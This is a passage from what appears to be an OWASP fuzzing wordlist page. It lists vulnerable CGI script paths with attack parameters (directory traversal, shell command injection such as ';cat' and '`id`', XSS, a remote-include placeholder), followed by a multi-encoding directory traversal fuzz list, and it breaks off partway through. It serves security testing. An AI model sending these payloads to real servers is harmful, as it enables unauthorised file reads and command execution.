14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> 